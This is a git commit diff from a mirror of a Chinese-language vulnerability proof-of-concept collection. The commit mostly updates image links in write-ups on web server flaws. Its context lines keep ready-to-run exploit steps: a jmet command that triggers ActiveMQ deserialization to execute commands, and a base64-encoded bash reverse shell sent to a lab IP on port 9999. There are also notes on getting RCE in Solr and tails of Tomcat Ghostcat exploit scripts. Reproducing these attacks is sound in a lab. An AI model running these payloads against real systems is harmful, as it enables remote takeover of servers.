mirror of
https://github.com/Threekiii/Awesome-POC.git
synced 2025-11-05 10:50:23 +00:00
更新漏洞库:Web服务器漏洞/
This commit is contained in:
parent
e2cd1e452c
commit
e22f0e2af4
@ -51,11 +51,11 @@ sudo update-alternatives --install /usr/bin/java java /usr/lib/jvm/java-8-openjd
|
||||
sudo update-alternatives --config java
|
||||
```
|
||||
|
||||

|
||||

|
||||
|
||||
再次查看java版本,切换成功
|
||||
|
||||

|
||||

|
||||
|
||||
### 漏洞复现
|
||||
|
||||
@ -72,17 +72,17 @@ mkdir external
|
||||
java -jar jmet-0.1.0-all.jar -Q event -I ActiveMQ -s -Y "touch /tmp/awesome_poc" -Yp ROME 192.168.174.128 61616
|
||||
```
|
||||
|
||||

|
||||

|
||||
|
||||
访问 http://192.168.174.128:8161/admin/browse.jsp?JMSDestination=event 可以看到多了一条消息队列,ID为kali-38087-1645421794512-1:1:1:1:1
|
||||
|
||||

|
||||

|
||||
|
||||
点击这个信息触发文件创建,成功执行命令 touch /tmp/awesome_poc
|
||||
|
||||

|
||||

|
||||
|
||||
也可以创建一个反弹shell的payload
|
||||
也可以创建一个反弹shell的payload
|
||||
|
||||
```shell
|
||||
bash -i >& /dev/tcp/192.168.174.128/9999 0>&1 (base64编码)
|
||||
@ -94,13 +94,13 @@ bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjE3NC4xMjgvOTk5OSAwPiYx}|{bas
|
||||
java -jar jmet-0.1.0-all.jar -Q event -I ActiveMQ -s -Y "bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjE3NC4xMjgvOTk5OSAwPiYx}|{base64,-d}|{bash,-i}" -Yp ROME 192.168.174.128 61616
|
||||
```
|
||||
|
||||

|
||||

|
||||
|
||||
查看消息队列,ID为kali-38435-1645422155171-1:1:1:1:1
|
||||
|
||||

|
||||

|
||||
|
||||
监听9999端口,点击消息队列会触发命令执行,反弹Shell
|
||||
|
||||

|
||||

|
||||
|
||||
|
||||
@ -38,7 +38,7 @@ docker-compose exec solr bash bin/solr create_core -c test -d example/example-DI
|
||||
|
||||
|
||||
|
||||
访问Core的config配置信息时,通过POST请求把`{% em type="red" %}params.resource.loader.enabled{% end em %}`设置为 True,再通过精心构造的get请求即可RCE,此时用户就可以加载指定资源,构造一个能执行命令的恶意请求
|
||||
访问Core的config配置信息时,通过POST请求把{% em type="red" %}params.resource.loader.enabled{% endem %}设置为 True,再通过精心构造的get请求即可RCE,此时用户就可以加载指定资源,构造一个能执行命令的恶意请求
|
||||
|
||||
**设置params.resource.loader.enabled为True**
|
||||
|
||||
|
||||
@ -363,4 +363,5 @@ print("".join([d.data for d in data]))
|
||||
|
||||
[Github地址](https://github.com/YDHCUI/CNVD-2020-10487-Tomcat-Ajp-lfi/blob/master/CNVD-2020-10487-Tomcat-Ajp-lfi.py)
|
||||
|
||||
[威胁通告 APACHE TOMCAT 文件包含漏洞(CVE-2020-1938)](http://blog.nsfocus.net/cve-2020-1938/)
|
||||
[威胁通告 APACHE TOMCAT 文件包含漏洞(CVE-2020-1938)](http://blog.nsfocus.net/cve-2020-1938/)
|
||||
|
||||
|
||||
@ -175,4 +175,5 @@ if __name__ == '__main__':
|
||||
POC_1(target_url, IP, PORT)
|
||||
```
|
||||
|
||||

|
||||

|
||||
|
||||
|
||||
Loading…
x
Reference in New Issue
Block a user